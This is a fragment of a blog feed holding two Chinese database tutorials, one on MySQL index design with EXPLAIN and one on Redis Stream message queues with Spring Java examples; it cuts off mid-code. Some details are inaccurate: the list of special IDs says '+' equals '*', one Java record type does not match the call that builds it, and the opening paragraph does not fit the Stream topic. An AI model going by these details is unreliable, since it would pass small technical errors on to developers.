        <content type="html"><![CDATA[<h1 id="MySQL-索引设计的几个核心原则"><a href="#MySQL-索引设计的几个核心原则" class="headerlink" title="MySQL 索引设计的几个核心原则"></a>MySQL 索引设计的几个核心原则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis Stream消息队列</title>
      <link href="//redis-stream-message-queue/"/>
      <url>//redis-stream-message-queue/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-Stream消息队列"><a href="#Redis-Stream消息队列" class="headerlink" title="Redis Stream消息队列"></a>Redis Stream消息队列</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、Stream基础"><a href="#一、Stream基础" class="headerlink" title="一、Stream基础"></a>一、Stream基础</h2><p>#</p><h2 id="1-1-什么是Stream"><a href="#1-1-什么是Stream" class="headerlink" title="1.1 什么是Stream"></a>1.1 什么是Stream</h2><p>Stream是Redis的日志型数据结构：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────────────────────────────┐</span><br><span class="line">│                      Stream: mystream                        │</span><br><span class="line">│                                                              │</span><br><span class="line">│  ID                    │  Field-Value Pairs                  │</span><br><span class="line">│  ──────────────────────┼────────────────────────────────     │</span><br><span class="line">│  1724620800000-0       │  sensor-id: 1234, temperature: 25   │</span><br><span class="line">│  1724620801000-0       │  sensor-id: 1235, temperature: 26   │</span><br><span class="line">│  1724620802000-0       │  sensor-id: 1236, temperature: 24   │</span><br><span class="line">│  1724620803000-0       │  sensor-id: 1234, temperature: 25.5 │</span><br><span class="line">│  ...                   │  ...                                │</span><br><span class="line">└─────────────────────────────────────────────────────────────┘</span><br><span class="line"></span><br><span class="line">特点：</span><br><span class="line">- 消息按ID有序排列</span><br><span class="line">- ID由时间戳+序列号组成</span><br><span class="line">- 消息持久化存储</span><br><span class="line">- 支持消费者组</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-Stream-ID格式"><a href="#1-2-Stream-ID格式" class="headerlink" title="1.2 Stream ID格式"></a>1.2 Stream ID格式</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Stream ID: &lt;millisecondsTime&gt;-&lt;sequenceNumber&gt;</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">1724620800000-0    # 时间戳1724620800000毫秒，序列号0</span><br><span class="line">1724620800000-1    # 同一时间，序列号1</span><br><span class="line">1724620801000-0    # 下一毫秒，序列号0</span><br><span class="line"></span><br><span class="line">特殊ID：</span><br><span class="line">*           # 让Redis自动生成ID</span><br><span class="line">0           # 最小ID</span><br><span class="line">$           # 最大ID（最新）</span><br><span class="line">+           # 同*</span><br><span class="line">-           # 同0</span><br></pre></td></tr></table></figure><h2 id="二、Stream命令"><a href="#二、Stream命令" class="headerlink" title="二、Stream命令"></a>二、Stream命令</h2><p>#</p><h2 id="2-1-添加消息"><a href="#2-1-添加消息" class="headerlink" title="2.1 添加消息"></a>2.1 添加消息</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># XADD stream_name [MAXLEN len] [ID id] field value [field value ...]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加消息（自动生成ID）</span></span><br><span class="line">XADD mystream * sensor-id 1234 temperature 25</span><br><span class="line"><span class="comment"># 返回: &quot;1724620800000-0&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加消息（指定ID，通常不推荐）</span></span><br><span class="line">XADD mystream 1724620800001-0 sensor-id 1235 temperature 26</span><br><span class="line"></span><br><span class="line"><span class="comment"># 限制Stream长度（近似裁剪）</span></span><br><span class="line">XADD mystream MAXLEN ~ 1000 * sensor-id 1236 temperature 24</span><br><span class="line"></span><br><span class="line"><span class="comment"># 精确限制长度</span></span><br><span class="line">XADD mystream MAXLEN 1000 * sensor-id 1237 temperature 27</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-读取消息"><a href="#2-2-读取消息" class="headerlink" title="2.2 读取消息"></a>2.2 读取消息</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># XRANGE: 按范围读取</span></span><br><span class="line">XRANGE mystream - +           <span class="comment"># 读取所有</span></span><br><span class="line">XRANGE mystream - + COUNT 10  <span class="comment"># 读取前10条</span></span><br><span class="line">XRANGE mystream 1724620800000-0 1724620800001-0  <span class="comment"># 读取指定范围</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># XREVRANGE: 反向读取</span></span><br><span class="line">XREVRANGE mystream + - COUNT 10  <span class="comment"># 读取最新10条</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># XREAD: 阻塞读取（类似List的BLPOP）</span></span><br><span class="line">XREAD BLOCK 5000 STREAMS mystream 0        <span class="comment"># 从开头读取，阻塞5秒</span></span><br><span class="line">XREAD BLOCK 0 STREAMS mystream $           <span class="comment"># 从最新位置读取，永久阻塞</span></span><br><span class="line">XREAD COUNT 10 STREAMS mystream 0          <span class="comment"># 非阻塞读取10条</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-删除消息"><a href="#2-3-删除消息" class="headerlink" title="2.3 删除消息"></a>2.3 删除消息</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># XDEL: 删除指定消息</span></span><br><span class="line">XDEL mystream 1724620800000-0</span><br><span class="line"></span><br><span class="line"><span class="comment"># XTRIM: 裁剪Stream长度</span></span><br><span class="line">XTRIM mystream MAXLEN 1000      <span class="comment"># 精确裁剪到1000条</span></span><br><span class="line">XTRIM mystream MAXLEN ~ 1000    <span class="comment"># 近似裁剪</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-获取Stream信息"><a href="#2-4-获取Stream信息" class="headerlink" title="2.4 获取Stream信息"></a>2.4 获取Stream信息</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># XLEN: 获取消息数量</span></span><br><span class="line">XLEN mystream</span><br><span class="line"></span><br><span class="line"><span class="comment"># XINFO STREAM: 获取Stream详细信息</span></span><br><span class="line">XINFO STREAM mystream</span><br><span class="line"></span><br><span class="line"><span class="comment"># XINFO GROUPS: 获取消费者组信息</span></span><br><span class="line">XINFO GROUPS mystream</span><br><span class="line"></span><br><span class="line"><span class="comment"># XINFO CONSUMERS: 获取消费者信息</span></span><br><span class="line">XINFO CONSUMERS mystream mygroup</span><br></pre></td></tr></table></figure><h2 id="三、消费者组"><a href="#三、消费者组" class="headerlink" title="三、消费者组"></a>三、消费者组</h2><p>#</p><h2 id="3-1-消费者组概念"><a href="#3-1-消费者组概念" class="headerlink" title="3.1 消费者组概念"></a>3.1 消费者组概念</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────────┐</span><br><span class="line">│              Stream: orders              │</span><br><span class="line">└─────────────────────────────────────────┘</span><br><span class="line">              │</span><br><span class="line">    ┌─────────┴─────────┐</span><br><span class="line">    ▼                   ▼</span><br><span class="line">┌─────────┐       ┌─────────┐</span><br><span class="line">│ Group A │       │ Group B │</span><br><span class="line">│consumer1│       │consumer3│</span><br><span class="line">│consumer2│       │consumer4│</span><br><span class="line">└─────────┘       └─────────┘</span><br><span class="line"></span><br><span class="line">特点：</span><br><span class="line">- 同组内消息不重复消费（负载均衡）</span><br><span class="line">- 不同组独立消费（广播）</span><br><span class="line">- 支持消息确认（ACK）</span><br><span class="line">- 支持pending列表（未确认消息）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-消费者组命令"><a href="#3-2-消费者组命令" class="headerlink" title="3.2 消费者组命令"></a>3.2 消费者组命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># XGROUP CREATE: 创建消费者组</span></span><br><span class="line">XGROUP CREATE mystream mygroup $ MKSTREAM</span><br><span class="line"><span class="comment"># $: 从最新消息开始</span></span><br><span class="line"><span class="comment"># 0: 从第一条消息开始</span></span><br><span class="line"><span class="comment"># MKSTREAM: Stream不存在则创建</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># XREADGROUP: 消费者组读取</span></span><br><span class="line">XREADGROUP GROUP mygroup consumer1 COUNT 10 STREAMS mystream &gt;</span><br><span class="line"><span class="comment"># &gt;: 读取未分配给任何消费者的消息</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># XACK: 确认消息</span></span><br><span class="line">XACK mystream mygroup 1724620800000-0 1724620800001-0</span><br><span class="line"></span><br><span class="line"><span class="comment"># XPENDING: 查看pending消息</span></span><br><span class="line">XPENDING mystream mygroup</span><br><span class="line">XPENDING mystream mygroup - + 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># XCLAIM: 转移未确认消息</span></span><br><span class="line">XCLAIM mystream mygroup consumer2 3600000 1724620800000-0</span><br><span class="line"><span class="comment"># 3600000: 空闲时间超过1小时的pending消息</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># XGROUP DESTROY: 删除消费者组</span></span><br><span class="line">XGROUP DESTROY mystream mygroup</span><br></pre></td></tr></table></figure><h2 id="四、Java中使用Stream"><a href="#四、Java中使用Stream" class="headerlink" title="四、Java中使用Stream"></a>四、Java中使用Stream</h2><p>#</p><h2 id="4-1-Spring-Data-Redis"><a href="#4-1-Spring-Data-Redis" class="headerlink" title="4.1 Spring Data Redis"></a>4.1 Spring Data Redis</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StreamService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 添加消息到Stream</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> RecordId <span class="title function_">addMessage</span><span class="params">(String streamKey, Map&lt;String, String&gt; message)</span> &#123;</span><br><span class="line">        ObjectRecord&lt;String, String&gt; record = StreamRecords.newRecord()</span><br><span class="line">            .in(streamKey)</span><br><span class="line">            .ofMap(message);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> redis.opsForStream().add(record);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 创建消费者组</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">createConsumerGroup</span><span class="params">(String streamKey, String groupName)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForStream().createGroup(streamKey, groupName);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 消费者组读取消息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;MapRecord&lt;String, Object, Object&gt;&gt; <span class="title function_">readMessages</span><span class="params">(</span></span><br><span class="line"><span class="params">            String streamKey, String groupName, String consumerName, <span class="type">int</span> count)</span> &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Consumer</span> <span class="variable">consumer</span> <span class="operator">=</span> Consumer.from(groupName, consumerName);</span><br><span class="line">        </span><br><span class="line">        <span class="type">StreamReadOptions</span> <span class="variable">options</span> <span class="operator">=</span> StreamReadOptions.empty()</span><br><span class="line">            .count(count)</span><br><span class="line">            .block(Duration.ofSeconds(<span class="number">5</span>));</span><br><span class="line">        </span><br><span class="line">        StreamOffset&lt;String&gt; offset = StreamOffset.create(streamKey, ReadOffset.lastConsumed());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> redis.opsForStream().read(consumer, options, offset);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 确认消息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">acknowledge</span><span class="params">(String streamKey, String groupName, String... recordIds)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForStream().acknowledge(streamKey, groupName, recordIds);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查看pending消息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> PendingMessagesSummary <span class="title function_">pendingSummary</span><span class="params">(String streamKey, String groupName)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForStream().pending(streamKey, groupName);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-生产者实现"><a href="#4-2-生产者实现" class="headerlink" title="4.2 生产者实现"></a>4.2 生产者实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderEventProducer</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StreamService streamService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">ORDER_STREAM</span> <span class="operator">=</span> <span class="string">&quot;orders&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 发送订单创建事件</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendOrderCreated</span><span class="params">(Order order)</span> &#123;</span><br><span class="line">        Map&lt;String, String&gt; message = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        message.put(<span class="string">&quot;eventType&quot;</span>, <span class="string">&quot;ORDER_CREATED&quot;</span>);</span><br><span class="line">        message.put(<span class="string">&quot;orderId&quot;</span>, String.valueOf(order.getId()));</span><br><span class="line">        message.put(<span class="string">&quot;userId&quot;</span>, String.valueOf(order.getUserId()));</span><br><span class="line">        message.put(<span class="string">&quot;amount&quot;</span>, String.valueOf(order.getAmount()));</span><br><span class="line">        message.put(<span class="string">&quot;timestamp&quot;</span>, String.valueOf(System.currentTimeMillis()));</span><br><span class="line">        </span><br><span class="line">        <span class="type">RecordId</span> <span class="variable">recordId</span> <span class="operator">=</span> streamService.addMessage(ORDER_STREAM, message);</span><br><span class="line">        System.out.println(<span class="string">&quot;Order event sent: &quot;</span> + recordId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 发送订单支付事件</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendOrderPaid</span><span class="params">(Long orderId, String paymentId)</span> &#123;</span><br><span class="line">        Map&lt;String, String&gt; message = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        message.put(<span class="string">&quot;eventType&quot;</span>, <span class="string">&quot;ORDER_PAID&quot;</span>);</span><br><span class="line">        message.put(<span class="string">&quot;orderId&quot;</span>, String.valueOf(orderId));</span><br><span class="line">        message.put(<span class="string">&quot;paymentId&quot;</span>, paymentId);</span><br><span class="line">        message.put(<span class="string">&quot;timestamp&quot;</span>, String.valueOf(System.currentTimeMillis()));</span><br><span class="line">        </span><br><span class="line">        streamService.addMessage(ORDER_STREAM, message);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-消费者实现"><a href="#4-3-消费者实现" class="headerlink" title="4.3 消费者实现"></a>4.3 消费者实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderEventConsumer</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StreamService streamService;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderService orderService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">ORDER_STREAM</span> <span class="operator">=</span> <span class="string">&quot;orders&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">GROUP_NAME</span> <span class="operator">=</span> <span class="string">&quot;order-processors&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">CONSUMER_NAME</span> <span class="operator">=</span> <span class="string">&quot;consumer-&quot;</span> + UUID.randomUUID().toString().substring(<span class="number">0</span>, <span class="number">8</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            streamService.createConsumerGroup(ORDER_STREAM, GROUP_NAME);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="comment">// 组已存在</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 启动消费线程</span></span><br><span class="line">        startConsuming();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">startConsuming</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">            <span class="keyword">while</span> (!Thread.interrupted()) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    List&lt;MapRecord&lt;String, Object, Object&gt;&gt; records = </span><br><span class="line">                        streamService.readMessages(ORDER_STREAM, GROUP_NAME, CONSUMER_NAME, <span class="number">10</span>);</span><br><span class="line">                    </span><br><span class="line">                    <span class="keyword">for</span> (MapRecord&lt;String, Object, Object&gt; record : records) &#123;</span><br><span class="line">                        processRecord(record);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                    System.err.println(<span class="string">&quot;消费异常: &quot;</span> + e.getMessage());</span><br><span class="line">                    <span class="keyword">try</span> &#123;</span><br><span class="line">                        Thread.sleep(<span class="number">1000</span>);</span><br><span class="line">                    &#125; <span class="keyword">catch</span> (InterruptedException ie) &#123;</span><br><span class="line">                        Thread.currentThread().interrupt();</span><br><span class="line">                        <span class="keyword">break</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;).start();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">processRecord</span><span class="params">(MapRecord&lt;String, Object, Object&gt; record)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Map&lt;Object, Object&gt; value = record.getValue();</span><br><span class="line">            <span class="type">String</span> <span class="variable">eventType</span> <span class="operator">=</span> (String) value.get(<span class="string">&quot;eventType&quot;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">switch</span> (eventType) &#123;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&quot;ORDER_CREATED&quot;</span>:</span><br><span class="line">                    handleOrderCreated(value);</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&quot;ORDER_PAID&quot;</span>:</span><br><span class="line">                    handleOrderPaid(value);</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">default</span>:</span><br><span class="line">                    System.out.println(<span class="string">&quot;Unknown event: &quot;</span> + eventType);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 确认消息</span></span><br><span class="line">            streamService.acknowledge(ORDER_STREAM, GROUP_NAME, record.getId().getValue());</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            System.err.println(<span class="string">&quot;处理消息失败: &quot;</span> + e.getMessage());</span><br><span class="line">            <span class="comment">// 不确认，消息会留在pending列表</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">handleOrderCreated</span><span class="params">(Map&lt;Object, Object&gt; value)</span> &#123;</span><br><span class="line">        <span class="type">Long</span> <span class="variable">orderId</span> <span class="operator">=</span> Long.valueOf((String) value.get(<span class="string">&quot;orderId&quot;</span>));</span><br><span class="line">        System.out.println(<span class="string">&quot;处理订单创建: &quot;</span> + orderId);</span><br><span class="line">        <span class="comment">// 业务处理</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">handleOrderPaid</span><span class="params">(Map&lt;Object, Object&gt; value)</span> &#123;</span><br><span class="line">        <span class="type">Long</span> <span class="variable">orderId</span> <span class="operator">=</span> Long.valueOf((String) value.get(<span class="string">&quot;orderId&quot;</span>));</span><br><span class="line">        System.out.println(<span class="string">&quot;处理订单支付: &quot;</span> + orderId);</span><br><span class="line">        <span class="comment">// 业务处理</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-Spring-Boot-Stream-Listener"><a href="#4-4-Spring-Boot-Stream-Listener" class="headerlink" title="4.4 Spring Boot Stream Listener"></a>4.4 Spring Boot Stream Listener</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StreamListenerConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> Subscription <span class="title function_">orderSubscription</span><span class="params">(RedisConnectionFactory factory)</span> &#123;</span><br><span class="line">        StreamMessageListenerContainer.StreamMessageListenerContainerOptions&lt;String, ObjectRecord&lt;String, String&gt;&gt; options = </span><br><span class="line">            StreamMessageListenerContainer.StreamMessageListenerContainerOptions.builder()</span><br><span class="line">                .pollTimeout(Duration.ofSeconds(<span class="number">1</span>))</span><br><span class="line">                .build();</span><br><span class="line">        </span><br><span class="line">        StreamMessageListenerContainer&lt;String, ObjectRecord&lt;String, String&gt;&gt; container = </span><br><span class="line">            StreamMessageListenerContainer.create(factory, options);</span><br><span class="line">        </span><br><span class="line">        <span class="type">Consumer</span> <span class="variable">consumer</span> <span class="operator">=</span> Consumer.from(<span class="string">&quot;order-group&quot;</span>, <span class="string">&quot;consumer-1&quot;</span>);</span><br><span class="line">        StreamOffset&lt;String&gt; offset = StreamOffset.create(<span class="string">&quot;orders&quot;</span>, ReadOffset.lastConsumed());</span><br><span class="line">        </span><br><span class="line">        <span class="type">Subscription</span> <span class="variable">subscription</span> <span class="operator">=</span> container.receive(consumer, offset, message -&gt; &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Received: &quot;</span> + message.getValue());</span><br><span class="line">        &#125;);</span><br><span class="line">        </span><br><span class="line">        container.start();</span><br><span class="line">        <span class="keyword">return</span> subscription;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、Stream-vs-List作为消息队列"><a href="#五、Stream-vs-List作为消息队列" class="headerlink" title="五、Stream vs List作为消息队列"></a>五、Stream vs List作为消息队列</h2><table><thead><tr><th>特性</th><th>Stream</th><th>List</th></tr></thead><tbody><tr><td>消息持久化</td><td>是</td><td>是</td></tr><tr><td>消息ID</td><td>自动生成时间戳ID</td><td>无（需自己维护）</td></tr><tr><td>消费者组</td><td>原生支持</td><td>不支持</td></tr><tr><td>消息确认</td><td>支持ACK</td><td>不支持</td></tr><tr><td>消息回溯</td><td>支持</td><td>不支持（pop后删除）</td></tr><tr><td>消息数量</td><td>可查询</td><td>可查询</td></tr><tr><td>消息内容</td><td>支持多字段</td><td>单个String</td></tr><tr><td>阻塞读取</td><td>支持</td><td>支持（BLPOP）</td></tr><tr><td>适用场景</td><td>复杂消息队列</td><td>简单队列</td></tr></tbody></table><h2 id="六、最佳实践"><a href="#六、最佳实践" class="headerlink" title="六、最佳实践"></a>六、最佳实践</h2><p>#</p><h2 id="6-1-消息清理"><a href="#6-1-消息清理" class="headerlink" title="6.1 消息清理"></a>6.1 消息清理</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 设置Stream最大长度（自动清理旧消息）</span></span><br><span class="line">XADD mystream MAXLEN ~ 10000 * field value</span><br><span class="line"></span><br><span class="line"><span class="comment"># 手动裁剪</span></span><br><span class="line">XTRIM mystream MAXLEN 10000</span><br><span class="line"></span><br><span class="line"><span class="comment"># 定期清理（配合过期时间无法实现，Stream不支持expire）</span></span><br><span class="line"><span class="comment"># 建议：</span></span><br><span class="line"><span class="comment"># 1. 使用MAXLEN自动裁剪</span></span><br><span class="line"><span class="comment"># 2. 定期XTRIM</span></span><br><span class="line"><span class="comment"># 3. 按时间归档到持久化存储</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-异常处理"><a href="#6-2-异常处理" class="headerlink" title="6.2 异常处理"></a>6.2 异常处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span 